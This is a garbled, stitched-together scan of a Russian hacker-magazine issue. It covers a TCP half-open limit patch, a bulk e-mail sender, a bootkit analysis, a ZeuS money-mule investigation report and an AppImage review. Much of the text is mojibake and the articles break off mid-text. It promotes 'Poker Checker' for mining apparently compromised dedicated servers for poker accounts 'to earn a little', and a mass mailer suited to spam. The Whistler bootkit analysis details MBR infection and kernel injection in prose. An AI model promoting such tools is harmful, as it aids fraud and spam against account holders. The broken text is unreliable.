полуоткрытых исходящих TCP-соединений 
(half-open connections или connection attempts) 
в системном файле tcpip.sys. 
Впервые данное ограничение было введено 
компанией Microsoft в SP2 (Service Pack 2) 
для Windows XP. Это было сделано в попытке 
замедлить распространение вирусов с зара-
женного компьютера, а также ограничить воз-
можности участия компьютера в DoS-атаках.  
Ограничение заключается в том, что компьюте-
ру не разрешается иметь более 10 одновремен-
ных полуоткрытых исходящих соединений. При 
достижении предела новые попытки под-
ключений ставятся в очередь. Таким образом 
фактически ограничена скорость подключения 
к другим компьютерам. 
Half-open limit fix позволяет убрать это ограни-
чение, то есть увеличить максимальный предел 
полуоткрытых соединений. Для подавляющего 
большинства пользователей будет достаточ-
ным предел, равный 100. z

• Îòñóòñòâèå îãðàíè÷åíèÿ íà êîëè÷åñò-

âî ñîîáùåíèé è êîëè÷åñòâî ïðèêðåïëÿåìûõ 

ôàéëîâ;

• Ïðîöåäóðà îòïðàâêè ïèñåì çàïóñêàåòñÿ 

îòäåëüíûì ïîòîêîì;

• Âûâîä ïðèìåðíîãî âðåìåíè äî çàâåðøåíèÿ 

îòïðàâêè ïèñåì;

• Ïðîâåðêà ëîãèíà è ïàðîëÿ ê SMTP-ñåðâåðó;

• ×åê ñïèñêà ïîëó÷àòåëåé (àäðåñà, ââå-

äåííûå â íåâåðíîì ôîðìàòå, óäàëÿþòñÿ);

• Ëîã ïðîäåëàííûõ îïåðàöèé;

• Ñòàòèñòèêà (îáùåå êîëè÷åñòâî ïèñåì ïî 

îòíîøåíèþ ê óñïåøíî îòïðàâëåííûì);

• Ðàáîòàåò íà .Net Framework 2.0.

В качестве бонуса при выборе SMTP-серверов 
из выпадающего списка уже предустанов-
ленны следующие адреса (дополнить их ты 
сможешь в файле smtp.ini):

smtp.mail.ru, smtp.inbox.ru, smtp.

bk.ru, smtp.list.ru, smtp.yandex.ru, 

smtp.rambler.ru, smtp.hotmail.com, 

smtp.gmail.com

Автор с удовольствием прочитает любые твои 
отзывы тут: icq-email-vkontakte.ru/forum/
showthread.php?t=4788.

P.S. Помни, что мы против спама! Так что 
используй данную прогу только на свой страх и 
риск и только в личных целях.

Программа: Poker Checker
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: DDM
Теперь снова вернемся к дедикам и обратим 
пристальное внимание на прогу Poker Checker. 
Эта прога служит для чека дедиков (или вообще 
любой Windows-машины) на наличие установ-
ленных/удаленных покер-румов, с помощью 
чего ты сможешь немного заработать :).
Добыча информации происходит с помощью 
проверки выбранных веток реестра на наличие 
записей, которые будут содержать слово 
«Poker» и последующего извлечения из этих 
записей инфы с названием румов.
Информация извлекается о следующих 
покерах:

fulltiltpoker.com, pokerstars.

com, partypoker.com, titanpoker.

com, pacificpoker.com, redstarpoker.

Чекаем дедики

Работаем с почтой Ищем покер-румы

Увеличиваем потоки в Windows XP
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Èññëåäóåì âíóòðåííîñòè Trojan-Clicker.Win32.
Whistler ïî-âçðîñëîìó

 Â ýòîé ñòàòüå ìû ïðîèçâåäåì ðàçáîð çëîâðåäà Trojan-Clicker.Win32.
Whistler.a. Ïðèìå÷àòåëåí îí òåì, ÷òî ÿâëÿåòñÿ áóòêèòîì. À èìåííî — 
çàðàæàåò çàãðóçî÷íóþ îáëàñòü æåñòêîãî äèñêà. Áîëüøàÿ ÷àñòü îáçîðà 
áóäåò ïîñâÿùåíà ðåâåðñó èìåííî ýòîé êîìïîíåíòû òðîÿíà.

Весь функционал этого зловреда рассредоточен по нескольким фай-
лам, которые изначально содержатся в дроппере, заливаемом на 
пользовательскую машину. Заражение системы начинается именно 
с дроппера. Он представляет собой довольно стандартный PE-файл, 
скомпилированный в Microsoft Visual Studio 5.0 (подсистема GUI). Код 
не зашифрован и не обфусцирован, следовательно, отлично поддается 
разбору. Упакованные данные содержатся в секции .rdata и в оверлее. 
После запуска Whistler производит попытку обнаружить виртуальную 
машину VMWare с помощью метода RedPill. Он заключается в чтении 
данных по определенному порту и сравнению их с эталонным значени-
ем. При выполнении кода на реальном процессоре в пользовательском 
режиме (Ring 3) использование привилегированной инструкции «in» 
вызовет исключение, а на виртуальной машине… а на ней все зависит 
от алгоритма эмуляции.
Далее, в случае успешного прохождения проверки, с помощью API-
функции VirtualAlloc выделяется память, в которой происходит рас-
шифровка внутреннего файла. После этого вызывается CreateThread 
с указателем на дешифрованный код. На этом функционал дроппера 
заканчивается — он остается ждать завершения только что запущен-
ного потока с помощью WaitForSingleObject.
Таким образом, в памяти, выделенной динамически, выполняется 
совершенно иной файл, нежели тот, который присутствует на диске. В 
самом начале его работы вызываются проверки на наличие отладчи-
ка, различных программ для мониторинга и т.д. В частности, наличие 
знаменитого Process Explorer’а от Руссиновича прекрасно палится 
с помощью вызова FindWindowW("PROCMON_WINDOW_CLASS"), 
а о работающем TrueCrypt’е свидетельствует наличие устройства 

«TrueCrypt», что может быть проверено с помощью CreateFileW("\\\\.\\
TrueCrypt", …). После этого начинается самое интересное — взаи-
модействие с жестким диском напрямую. Прежде чем переходить к 
рассмотрению этого этапа, напомню читателям о том, как происходит 
загрузка компьютера.

Загрузка компьютера
После подачи питания на материнскую плату весь стартовый код 
BIOS’а копируется в оперативную память по старшим адресам с помо-
щью специальной микросхемы. Далее процессор инициализируется 
определенными значениями регистров CR0, EDX, EFlags, IP. Регистр 
IP принимает значение FFF0h, и именно с этого адреса начинается ис-
полнение стартового кода BIOS, который инициализирует всю аппара-
туру, находит устройство загрузки и т.д. Значение сегментного регистра 
CS при этом — 0xF000. После того, как проверки увенчаются успехом 
(в частности, проверка на наличие сигнатуры 0xAA55 в конце сектора), 
загрузчик читает нулевой сектор харда и копирует его по адресу 7C00h. 
Сектор — минимально адресуемая ячейка жесткого диска. Прочитать 
меньше, чем один сектор , невозможно. На большинстве винтов размер 
сектора составляет 200h байт, новые жесткие диски обладают большим  
размером сектора, но они пока не сильно распространены. А теперь 
отвечу на вопрос: «А как же процессор узнает о том, сколько логичес-
ких дисков существует на компьютере, какую систему ему загружать и 
откуда?» Итак, нулевой сектор жесткого диска содержит так называ-
емую «главную загрузочную запись» или, иначе говоря, MBR (Master 
Boot Record). Она целиком занимает весь сектор — 512 байт. MBR 
содержит машинный код, исполняемый процессором, информацию о 
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четырех разделах диска и сигнатуру 0xAA55 в самом конце. Исполне-
ние начинается с нулевого смещения сектора. Структуру MBR можно 
описать следующим образом (см. таблицу 1). Сигнатура используется 
загрузчиком для проверки корректности MBR, в случае неудачи работа 
компьютера приостанавливается. Каждый раздел также описывается 
отдельной структурой (таблица 2). Байт признака активности может 
быть равен либо 0, либо 0x80. Если он равен 0x80, то раздел считается 
активным, загрузчик считывает его первые 0x200 байт и передает туда 
управление. Поле «тип раздела» описывает форматирование конкрет-
ного раздела и может принимать множество значений (приведены не 
все возможные значения) (таблица 3). Таким образом, больше четырех 
разделов на одном жестком диске существовать не может. Однако же 
Windows позволяет делить диск хоть на двадцать частей — так в чем же 
дело? Оказывается, что расширенный раздел (код типа раздела — 7) 
помимо собственно содержимого раздела содержит еще и указатель 
на следующий раздел. Следовательно, образуется связанный список 
из расширенных разделов. Их количество ограничивается только 
свободным неразмеченным пространством. Подытожим все вышес-
казанное с помощью схемы (см. картинку «Схема разбиения жесткого 
диска на разделы с помощью MBR»). Таким образом, полный алгоритм 
загрузки компьютера следующий : код в MBR проверяет работоспособ-
ность жесткого диска, затем ищет раздел с выставленным признаком 
активности 0x80, просматривая таблицу разделов, и передает управле-
ние на нулевой байт последнего.

Следует отметить, что после включения компьютера процессор рабо-
тает в режиме реальных адресов (real-address mode). Он значительно 
отличается от защищенного режима (protected mode), который исполь-
зуется при функционировании большинства современных операци-
онных систем (Linux, Windows, FreeBSD и т.д.). В реальном режиме 
отсутствует страничная адресация, так называемые кольца защиты, 
обработка исключений, а регистры GDTR, LDTR, CR3 не используются. 
Таблица векторов прерываний расположена по нулевому физическому 
адресу и заполнена самим BIOS’ом. Обращение к памяти происходит 
через пару «сегмент-смещение», которая преобразуется в физический 
адрес. Поясню на примере:

• Ïðîöåññîð ïûòàåòñÿ èñïîëíèòü èíñòðóêöèþ mov eax, 

[1000:FFFF];

• Çíà÷åíèå ñåãìåíòà ñäâèãàåòñÿ âëåâî íà 4 áèò — 0x1000 << 4 

= 0x10000;

• Ñìåùåíèå ñêëàäûâàåòñÿ ñî ñäâèíóòûì ñåãìåíòîì è ïîëó÷àåòñÿ 

êîíå÷íûé ôèçè÷åñêèé àäðåñ — 0x10000 + 0xFFFF = 0x1FFFF;

Вернемся к Whistler’у
После прочтения столь долгой и нудной теории ты, я думаю, созрел 
продолжить изучение нашего сегодняшнего героя. Итак, он переписы-
вает MBR на свой собственный, обращаясь к устройству 
\\.\PhysicalDriveX через функцию CreateFile. Потом он находит самый 
последний раздел и пишет свои данные в неразмеченную область, 
находящуюся за последним разделом. А именно — туда записывает-
ся оригинальный MBR, идентификационные данные Whistler’а, по 
которым можно будет определить факт заражения системы, и четыре 
PE’шника. Один из них — тот, что сейчас описывается. Другой — драй-
вер. Два последних — exe’шники, отвечающие непосредственно за 
функционал. На этом функциональность файла, исполняемого из памя-

Схема разбиения жесткого диска на разделы 
с помощью MBR

Фрагмент обработчика перехваченного int 13
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MBR, 0x200

ЖЕСТКИЙ ДИСК

Раздел № 1

Раздел № 2

Раздел № 3

Раздел № 4

AA55

Смещение Длина Описание

0 0x1BE Êîä çàãðóç÷èêà

0x1BE 0x10 Ðàçäåë #1

0x1CE 0x10 Ðàçäåë #2

0x1DE 0x10 Ðàçäåë #3

0x1EE 0x10 Ðàçäåë #4

0x1FE 2 Ñèãíàòóðà 0xAA55

Таблица 1. Структура MBR

Смещение Длина Описание

0 1 Ïðèçíàê àêòèâíîñòè

1 1 Íà÷àëî ðàçäåëà – ãîëîâêà

2 1 Íà÷àëî ðàçäåëà – ñåêòîð, ãîëîâêà

3 1 Íà÷àëî ðàçäåëà - äîðîæêà

4 1 Òèï ðàçäåëà

5 1 Êîíåö ðàçäåëà – ãîëîâêà

6 1 Êîíåö ðàçäåëà – ñåêòîð, ãîëîâêà

7 1 Êîíåö ðàçäåëà – äîðîæêà

8 4 Ñìåùåíèå ïåðâîãî ñåêòîðà

0x0C 4 Êîëè÷åñòâî ñåêòîðîâ ðàçäåëà

Код Тип раздела

5 Ðàñøèðåííûé ðàçäåë

7 NTFS

0x0B FAT32

0x17 Ñêðûòûé ðàçäåë NTFS

Таблица 2. Структура раздела

Таблица 3. Значения поля.
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ти, заканчивается. Пришло время рассмотреть сам зараженный MBR. 
Для его разбора я использовал бесплатную виртуальную машину Bochs 
for Windows со встроенным отладчиком. Она использует полностью 
программную эмуляцию. Ее интересной особенностью является воз-
можность отладки виртуальной машины с самого старта компьютера. 
То есть она позволяет пройти под отладчиком весь MBR и загрузочный 
код системы и без проблем отладить стартовый код BIOS’а. Разумеется, 
это отладка не кода реальной железки, а всего лишь BIOS’а виртуаль-
ной машины, но оценить качественную картину загрузки компьютера 
помогает.
Итак, cначала парсится таблица разделов и находятся элементы, за-
писанные в неразмеченную область, туда же и передается управление. 
Тут-то и начинается самое интересное — перехватывается прерывание 
int 13h, оригинальный MBR восстанавливается и на него передается 
управление. В перехватчике int 13h производится поиск сигнатуры из 
NTLDR в прочитанном фрагменте. Сверка сигнатуры видна на скрин-
шоте: сначала производится поиск байта 0xB8 с помощью инструкции 
REPNE SCASB, а в случае успеха дальнейшее сравнение происходит 
с помощью CMP. Далее, если нужный фрагмент NTLDR’а найден, про-
изводится перехват функции BlLoadBootDrivers путем замены части 
инструкции. После выставления сплайсинга управление возвращает-
ся в систему.
Буткит получит управление только после вызова вышеупомянутой 
функции. Затем производится поиск базы ядра и сплайсинг инс-
трукции, вызывающей функцию IoInitSystem. Перехват установлен 
таким образом, что буткит получит управление как сразу после вызова 
IoInitSystem, так и после ее завершения. Таким способом Whistler оп-
ределяет, что система успешно проинициализировалась и загружает 
свой драйвер, упомянутый выше. Этот драйвер маппится в память 

и запускается как системный поток. Таким образом на запущенной 
инфицированной системе окажется работающий драйвер, образ и 
информация для которого отсутствует у ОС. На этом функциональность 
инфицированного MBR’а заканчивается, и в работу вступает драйвер. 
Драйвер построен на основе Stoned Bootkit FrameWork, который бес-
платен и находится под лицензией «European Union Public License». 
Основное его назначение — считывать из неразмеченной области хар-
да файлы, которые несут «полезную нагрузку», и скрыто запускать их. 
Работа с диском ведется при помощи объекта \\.\physicaldrive0, а вот 
запуск PE’шников происходит весьма любопытным способом — при 
помощи APC. APC — Asynchronous Procedure Call — функция, которая 
нарушает естественный ход выполнения потока. Когда планировщик 
Windows переключает контекст на поток, он смотрит на наличие APC-
функций в очереди потока, и если они есть, то вызывает сначала их, 
а потом уже и сам поток. Первым делом драйвер инжектит шеллкод в 
winlogon.exe, используя KeStackAttachProcess для присоединения к 
процессу. Потом с помощью функции KeInitializeApc инициализируется 
сама APC-функция, которая затем добавляется в очередь с помощью 
KeInsertQueueApc, что обеспечивает запуск шеллкода в контексте 
системного процесса. Этот код запускает два оставшихся файла, кото-
рые были сохранены на диск драйвером по следующему пути: «\\??\C:\
System Volume Information\Microsoft\».

Так как насчет функционала?
Пройдя столь длинный путь по разбору Whistler’а, я подошел к самому 
главному — вредоносному функционалу, то есть тому, ради чего и 
делался зловред. Как видно из названия, он кликает по разнообраз-
ным ссылкам, увеличивая им рейтинг. Сами файлы представляют 
собой обычные приложения, написанные в Microsoft Visual Studio. Все 
данные хранятся в оверлее за последней секцией. Сдампив адресное 
пространство процесса, я получил просто россыпь урлов, которые 
указывают на страницу banner3.php на разных сайтах.

Заключение
Вот и все. Пожалуй, еще стоит отметить, что этот зловред не будет 
работать на последних операционных системах семейства Windows, 
в частности, на Windows 7, так как там несколько иначе построена за-
грузка системы. А вот на Windows XP все прекрасно отработает.  Кстати, 
для анализа этого вируса помимо виртуалки Bochs я еще использовал 
связку VMWare и PETools для получения дампа и, конечно же, Hiew для 
визуального просмотра. Дизассемблер IDA в комплекте с Hex-Rays 
просто незаменим при детальном анализе драйверов и незащищен-
ных PE'шников. Кстати, можешь попробовать открыть свой жесткий 
диск, начиная с нулевого сектора, просто запустив Hiew и передав ему 
в качестве параметра командной строки \\.\physicaldriveX. z

Фрагмент дампа памяти одного из компонентов 
Whistler’а

Реализация метода RedPill в Trojan-Clicker.
Win32.Whistler.a

Фрагмент драйвера Trojan-Clicker.Win32.Whistler.a

Отладка MBR при помощи Bochs Enhanced Debugger 
for Windows





Операция 
Trident Breach
В октябре месяце из пресс-релизов ФБР весь 
мир узнал о масштабной международной 
операции Trident Breach (дословно: «удар 
трезубцем»), в ходе которой в Великобрита-
нии, США и Украине были задержаны более 
ста человек, участвовавшие в деятельности 
крупного ZeuS-ботнета. 
О троянце по имени ZeuS ты наверняка уже 
слышал; мы посвятили этому зловреду не 
одну статью и заметку. На всякий случай 
напомню, что ZeuS, также известный на про-
сторах сети как Zbot, PRG, Wsnpoem, Gorhax 
и Kneber — это своего рода последний писк 
моды и популярнейший тренд в киберкри-
минальной среде. Данный инструментарий 
пользуется на черном рынке огромным 
спросом, регулярно обновляется, защищен 
от нелегального использования почище 
лицензионного софта и является настоящей 
головой болью для всех IT-безопасников 
планеты. Авторов этой софтины безуспешно 
ищут уже довольно долгое время. А когда не 
получается найти авторов и вырвать «корень 
зла», приходится бороться не с причиной, а 
со следствиями. Особенно когда следствия 
приобретают угрожающий размах. 
Расследование, предвосхищавшее массовые 
аресты, началось около полутора лет назад, в 
мае 2009 года. Тогда в ходе работы над делом 
о краже средств с 46 разных банковских 
счетов агенты ФБР из города Омаха, штат Не-
браска, нащупали «связующее звено» — они 
обнаружили отчетливые следы деятельности 
ZeuS-ботнета. Федеральное бюро рассле-
дований быстро сопоставило имеющиеся на 
руках факты и пришло к выводу, что масштаб 
бедствия велик. «Федералы» незамедли-

тельно связались с местной полицией, своим 
аналогом Отдела «К» (то есть с парнями, 
которые занимаются именно расследова-
нием киберпреступлений), другими амери-
канскими спецслужбами, а затем наладили 
контакт и со своими зарубежными коллегами 
из Украины, Великобритании и Нидерландов. 
Сразу скажем, что голландская полиция была 
привлечена к делу исключительно из-за того, 
что злоумышленники использовали некие 
компьютерные ресурсы Нидерландов.    
Вскоре ситуация начала проясняться. Схема, 
которую использовали сетевые мошенники, 
оказалась проста, как три копейки. Основной 
мишенью этих чуваков являлись отнюдь не 
крупные банки и корпорации — они метили 
в небольшие организации, муниципальные 
предприятия, церкви, больницы, а также 
в редких частных лиц в основном на тер-
ритории США. Заражение компьютеров 
жертв происходило практически дедовским 
методом: мошенники использовали целевые 
вредоносные e-mail-рассылки (письма несли 
«на борту» ссылки на ZeuS). Как только ничего 
не подозревающие граждане открывали 
такое письмо и проходили по линку, вирь вла-
мывался в систему и делал там свое черное 
дело — собирал номера счетов, логины, паро-
ли и прочие конфиденциальные данные, свя-
занные с банковскими аккаунтами. Хозяева 
ботнета, заполучив эту информацию на руки, 
сумели добраться до огромного количества 
счетов. ФБР сообщает, что таким образом 
были осуществлены попытки кражи около 
$220 млн., но так как не все они были успеш-
ными, реально преступники (по предвари-
тельной оценке) сумели заполучить около $70 
млн. Учти, что делалось все весьма аккуратно: 
 ФБР утверждает, что преступники старались 
не снимать более нескольких тысяч долларов 

за раз. 
Размах уже впечатляет, правда? Дальше — 
больше. Как уже было сказано выше, корни 
этой преступной группировки вели в Украину 
и другие страны Восточной Европы, а сеть так 
называемых «мулов» (от английского money 
mule — «денежный мул») — людей, которые 
переправляли краденые деньги владельцам 
ботнета (в кардерской терминологии  — дро-
пов) — как выяснилось позже, насчитывала 
несколько сотен человек.

Как это работает
 Большинству граждан, арестованных в ходе 
операции Trident Breach, от 20 до 25 лет, и 
все они, по сути, являются низшим звеном в 
структуре работы ботнета. 
Когда (и если) кража средств с очередного 
счета проходит успешно, деньги утекают от-
нюдь не прямиком в загребущие руки хозяев 
зомби-сети. Это было бы слишком просто, 
рискованно и примитивно. Здесь в игру и 
вступают «мулы», они же «дропы». В случае, о 
котором мы говорим сегодня, в этой роли в ос-
новном выступали... студенты из Молдавии, 
Украины, России, Белоруссии и Казахстана, 
находящиеся в США по визе J-1, то есть по 
программе Work&Travel. Для тех, кто не знает: 
W&T позволяет молодежи какое-то время с 
пользой жить на территории США, работая, 
общаясь с носителями языка и так далее. 
Одним словом, учебный и культурный обмен. 
Арестованным «студентам» такая программа 
поездки явно казалась скучноватой, раз они 
решили предложить себя кибермошенникам 
в качестве дропов. 
Как это реализовано? Опять же, довольно 
просто. Вербуют таких «красавцев» обычно 
по Сети, например, через социальные сети 

СЦЕНА
  Мария «Mifrill» Нефедова (mifrill@real.xakep.ru)

 074 072

 Áîðüáà ñ êèáåðïðåñòóïíîñòüþ â íàøè äíè — óæå äàëåêî íå ìèô, 
à ñóðîâàÿ ðåàëüíîñòü. Ïðîøëè âðåìåíà, êîãäà ñïåöñëóæáû íå çíàëè, 
ñ êàêîãî êîíöà ïîäñòóïèòüñÿ ê Ñåòè. Ýòà èñòîðèÿ ïðåäñòàâëÿåò ñîáîé 
ÿðêóþ èëëþñòðàöèþ òîãî, ÷òî ñïåöñëóæáû ìíîãîìó íàó÷èëèñü è ïîðîé 
çàíèìàþòñÿ äåéñòâèòåëüíî ïîëåçíûìè âåùàìè.
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Кардеры покупают трояны и используют их для кражи 
банковских аккаунтов. Запуская их на машинах жертв, 
они получают доступ к персональным данным, любым 
денежным переводам и информации о банковской 
активности.

Дропы получают переведенные кардерами деньги и за 
процент переводят дальше.

Жертвами являются частные лица, 
бизнес- и финансовые организации.

Ñõåìà ýëåêòðîííîãî âîðîâñòâà

Вирусмейкеры разраба-
тывают вредоносное ПО 
и продают его на черном 
рынке; хороший трой 
стоит от $3000.

Êàðäåðû

Äðîïû

Æåðòâû

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?

Êàðäåðû

Ñòàòèñòèêà ðàññëåäîâàíèÿ

Äðîïû è äðîïîâîäû
Æåðòâû

Деньги делятся между 
организатором дроп-сети 
и кардером, совершившим 
перевод

Всего дел у ФБР: 390
Пытались украсть: $220 миллионов 
Получилось украсть: $70 миллионов

США: 92 обвиняемых и 39 арестованных
Великобритания:  20 арестованных и 8 в розыске
Украина: 5 задержанных и 8 в розыске

Жертвы - это и финансовые 
институты и владельцы зара-
женных компьютеров

Дропы переводят укра-
денные деньги орагини-
затором, оставляя себе 
небольшой процент

7. Деньги переводятся дропу

1. Вирусмейкер пишет эксплойт,  запускаю-
щий троян на компьютере жертвы

3. Доступ к банковско-

му акку передается на 

сервер

8. Дроп переводит деньги 

организаторам мошенни-

чества
Организаторы мошенничестваБанк жертвы

2. Жертва заражается 

банковским трояном
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Вирусмейкеры

Кардеры Жертва
Кардерский 
сервер

Кардеры

4. Кардер по-

лучает доступ к 

аккаунту жерты

5. Кардер 

подключается 

к компьютеру 

жертвы Компьютер 
жертвы

6. Кардер заходит на банковский аккаунт жертвы

Дропы



(в нашем случае ФБР пока отказывается 
разглашать название социальной сети, где 
происходила вербовка). За работу им пред-
лагают некий процент от обналиченных сумм, 
обычно в рамках 5-20% от перевода. Далее 
возможны варианты. Либо, въехав в США, 
«мулы» самостоятельно открывают подде-
льные банковские счета, на которые и уходят 
ворованные деньги. Либо же фэйковые счета 
дропу предоставляет сам работодатель: 
например, «мулу» просто присылают по почте 
пластиковую карту с PIN-кодом. Зачастую в 
деле также замешаны поддельные документы 
всех мастей. Далее задача «мула» элементар-
на — нужно снимать наличность и передавать 
ее своим «хозяевам». 
За примерами этих схем не нужно ходить 
далеко. В ходе операции Trident Breach 
ФБР внедрило одного из своих агентов в 
мошенническую сеть именно в качестве 
дропа. Через российскую социальную сеть 
(все общение происходило на русском) агент 
нашел «работодателя», скрывавшегося под 
ником Jack Daniels. Jack Daniels, который 
впоследствии оказался 26-летним гражда-
нином РФ Антоном Юферицыным, предложил 
следующую «работу»: требовалось открыть в 
США несколько банковских счетов, получать 
на них переводы и обналичивать деньги. Под 
пристальным наблюдением ФБР все было 
выполнено, да так хорошо, что замаскиро-
ванный агент даже сумел лично встретиться с 
Юферицыным. «Работодатель» вдруг решил 
воочию обсудить со «студентом» перспективу 
открытия бизнес-счета, на которой можно 

было бы переводить больше денег. Очевид-
но, в ходе этой первой встречи Jack Daniels 
ничего не заподозрил, так как вскоре на 
счет подставного «мула» поступил первый 
перевод в размере $9983. Через несколько 
дней Jack Daniels назначил агенту повторную 
встречу, на этот раз уже непосредственно 
для передачи денег. В ходе этого действа 
Юферицын и был благополучно арестован. 
Ему предъявили обвинение в сговоре с целью 
мошенничества, свою вину Jack Daniels 
признал и даже дал показания против других 
участников группировки. Но самое интерес-
ное в том, что на данный момент Антону Юфе-
рицыну уже вынесен приговор, и он оказался 
удивительно мягок: 10 месяцев тюрьмы и 
$38 314 штрафа. Дело в том, что обвинение до 
последнего настаивало на максимальном на-
казании в 20 лет лишения свободы и штрафе 
в $500 000. Можно предположить, что Юфе-
рицына либо поймали существенно раньше, 
чем было объявлено официально, либо же он 
очень рьяно сотрудничал после ареста :).
Как уже было сказано выше, большинство 
арестованных занимали отнюдь не ключевые 
посты в преступной группировке. Боль-
шинство из тех, кому предъявили обвинения 
или арестовали — простые дропы. Только 
в США было арестовано 39 человек, а в 
целом обвинения предъявлены 92 людям! 
В пресс-релизах, выпущенных по этому 
поводу Федеральным бюро расследований, 
подробно рассказано практически о каждом 
конкретном случае. К примеру, сообщается, 
что гражданин РФ Максим Мирошниченко 
вербовал дропов, сам открыл как минимум 
пять поддельных счетов в банках TD Bank, 
Chase Bank, Bank of America и Wachovia, а 
также пользовался поддельными паспор-
тами и имел контакты с хакерами и лицами, 
которые могли помочь оформить поддельные 
документы другим членам организации. Ос-
тальные случаи похожи, как две капли воды: 
это или «мулы», или вот такие, в общем-то, 
мелкие координаторы. Обвинения им были 
предъявлены самые разные — от сговора с 
целью совершения банковского мошенни-

чества и просто банковского мошенничества 
до отмывания денег, подделки документов, 
использования поддельных документов и 
незаконного использования паспортов. Тю-
ремные сроки и штрафы всем грозят крайне 
серьезные: от 10 до 30 лет  и от $250 000 до $1 
млн. соответственно. Впрочем, неизвестно, 
удастся ли обвинению настоять на своем, или 
получится как с Юферицыным. 
Однако, помимо сотни дропов, пойман-
ных американцами, еще 20 человек было 
арестовано в Великобритании (также 
было проведено восемь обысков) и еще 
пятеро в Украине. И если в Соединенном 
Королевстве ситуация почти аналогична 
американской, то с украинцами все не-
сколько сложнее. Дело в том, что, согласно 
сообщениям ФБР и украинского СБУ, здесь, 
похоже, поймали самую верхушку группи-
ровки — организаторов всей вышеопи-
санной схемы. Нет, разумеется, авторов 
злосчастного ZBot среди арестованных не 
было (хотя, по мнению многих экспертов и 
представителей спецслужб, малварь со-
здан именно в странах Восточной Европы). 
Информации об этих пятерых вообще пока 
крайне мало, однако известно, что у ФБР 
есть основания полагать, что руководители 
ботнета контактировали с разработчиками 
ZeuS, которые делали им на заказ особые 
версии инструментария.  
Все вышеизложенное, конечно, далеко не ко-
нец истории. В розыске до сих пор находится 
не один десяток человек, впереди наверняка 
не один обыск, арест, а также куча судебных 
разбирательств. Но, как бы то ни было, опе-
рация Trident Breach наглядно доказывает, 
что спецслужбы мира все же могут «найти 
подход» к ботнетам и умеют арестовывать 
не только «мулов», но и людей, стоящих в 
преступной иерархии повыше. И пусть мы с 
тобой понимаем, что эта сотня с небольшим 
человек — капля в море, а $70 млн. — жалкие 
крохи от исчезающих в неизвестных направ-
лениях миллиардов, для спецслужб это все 
равно почти невиданный размах, да и в целом 
неплохая тенденция. z

СЦЕНА

Пресс-релиз от украинского СБУ 
суров — много компов и денег

Как выглядит ботнет? Например, вот так
ZeuS во плоти
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OPHCRACK 3.3.0 
( MB)

GPODDER 2.5 
( MB)

FFMPEG 
( MB)

EMESENE 1.6.3 
( MB)

AMULE 2.2.6 
( MB)

ZENMAP 5.00 
( MB)

XNOISE 0.1.10 
( MB)

XARA EXTREME 0.7 
( MB)

XCHAT 2.8.6 
( MB)

XBMC MEDIA CENTER SVN32789 
( MB)

WIRESHARK 1.2.2 
( MB)
 
WEBILDER 0.6.9 
( MB)
 

VIEWNIOR 1.0 
( MB)
 
VLC 1.2.0-GIT 
( MB)
 
VLC 1.1.1 
( MB)
 
UPDATER 0.1 
( MB)
 

UPDATER 0.1.1 
( MB)
 
UPDATER 0.0.9 
( MB)
 
UPDATER 0.0.6 
( MB)
 
UPDATER 0.0.5 
( MB)
 

UPDATER 0.0.4 
( MB)
 
TUCAN MANAGER 0.3.8 
( MB)
 
TRANSMISSION 2.03 
( MB)
 
TRANSMISSION 1.92 
( MB)
 

TORRENT SEARCH 0.8.1 
( MB)
 
TERMINATOR 0.93 
( MB)
 
TERMINAL 0.4.3 
( MB)
 
TEAMVIEWER 5 
( MB)
 

SPOTIFY 0.4.8.213 
( MB)
 
SPOTIFY 0.4.6.75 
( MB)
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Введение
На самом деле в Elementary Project (в рамках 
которого, кстати, готовят свой вариант 
Ubuntu, www.elementary-project.com) 
изобрели вещь, известную в кругах пользо-
вателей Windows под именем «переносные 
приложения» (Portable Apps), суть которых 
сводится к следованию трем простым прави-
лам: не требовать установки на диск (скачал, 
запустил, работаешь), представлять собой 
один исполняемый файл (а не установочный 
архив) и не оставлять после себя следов 
(держать конфиги и все остальное внутри 
себя). Проще говоря: «Одна программа — 
один файл».
Преимущества таких программ виндузят-
ники (а макосовцы — так и подавно) уже 
успели оценить. Их можно таскать с собой 

на флешке, выкладывать в Dropbox, хранить 
на рабочем столе вместо ярлыков, удалять 
одним нажатием клавиши. Они не требуют 
установки и не засоряют систему. Хороши 
со всех сторон, как ни посмотри. Но могут 
ли линуксоиды получить все это? Проведем 
эксперимент.

Тест
Для продвижения идеи AppImage-прило-
жений был создан сайт Portable Linux Apps 
(www.portablelinuxapps.org), содержащий 
более сотни портабельных приложений. 
Попробуем скачать одно из них и запустить в 
первом попавшемся дистрибутиве (Kubuntu 
10.04 x64). Кликаем по ссылке Opera 10.70 
и через минуту получаем на жесткий диск 
одноименный файл весом 15 Мб, причем 

без расширения (позже выяснилось, что 
AppImage-приложения должны носить 
вполне осмысленное имя с расширением 
.appimage, но баг на их сайте все испортил). 
Натравливаем на него команду file и видим 
«ELF 32-bit LSB executable, Intel 80386 …» 
— обычный исполняемый файл. Ставим бит 
исполнения (chmod +x Opera\ 10.70), запуска-
ем… упс, библиотека libfuse.so.2 не найдена. 
Приложение не запускается на одном из 
самых популярных дистрибутивов со всеми 
стандартными пакетами.
ОК, делаем вид, что ничего не произошло. 
Для верности запускаем ldd, видим неболь-
шое количество библиотек-зависимостей, 
среди которых стандартные библиотеки 
пакета libc — та самая libfuse и libglib-2.0. 
С первой все ясно — это часть пакета fuse, 

Òðóäíîñòè
ïåðåíîñà
Èëè õðîìàÿ ïîðòàáåëüíîñòü 
ëèíóêñîâûõ ïðèëîæåíèé

    Евгений  Зобнин  zobnin@gmail.com

  Íå òàê äàâíî ó÷àñòíèêè ïðîåêòà Elementary Project ïðåäñòàâèëè íà 
ñóä îáùåñòâåííîñòè íîâóþ òåõíîëîãèþ óïàêîâêè Linux-ïðèëîæåíèé ïîä 
íàçâàíèåì AppImage, êîòîðàÿ ïîçâîëÿåò çàïóñêàòü ïðîãðàììû èç îäíîãî 
ôàéëà íà ëþáîì ñîâðåìåííîì äèñòðèáóòèâå áåç íåîáõîäèìîñòè â èõ 
óñòàíîâêå. Òàê ëè õîðîøà ýòà òåõíîëîãèÿ, êàê ãîâîðÿò î íåé ñîçäàòåëè, 
è íóæíà ëè îíà Linux, ìû ïîñòàðàåìñÿ âûÿñíèòü íà ñëåäóþùèõ 
ñòðàíèöàõ.
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SPOTIFY 0.4.3 
( MB)
 
SPIDEROAK 
( MB)

 

SKYPE 2.1.0.81 
( MB)
 
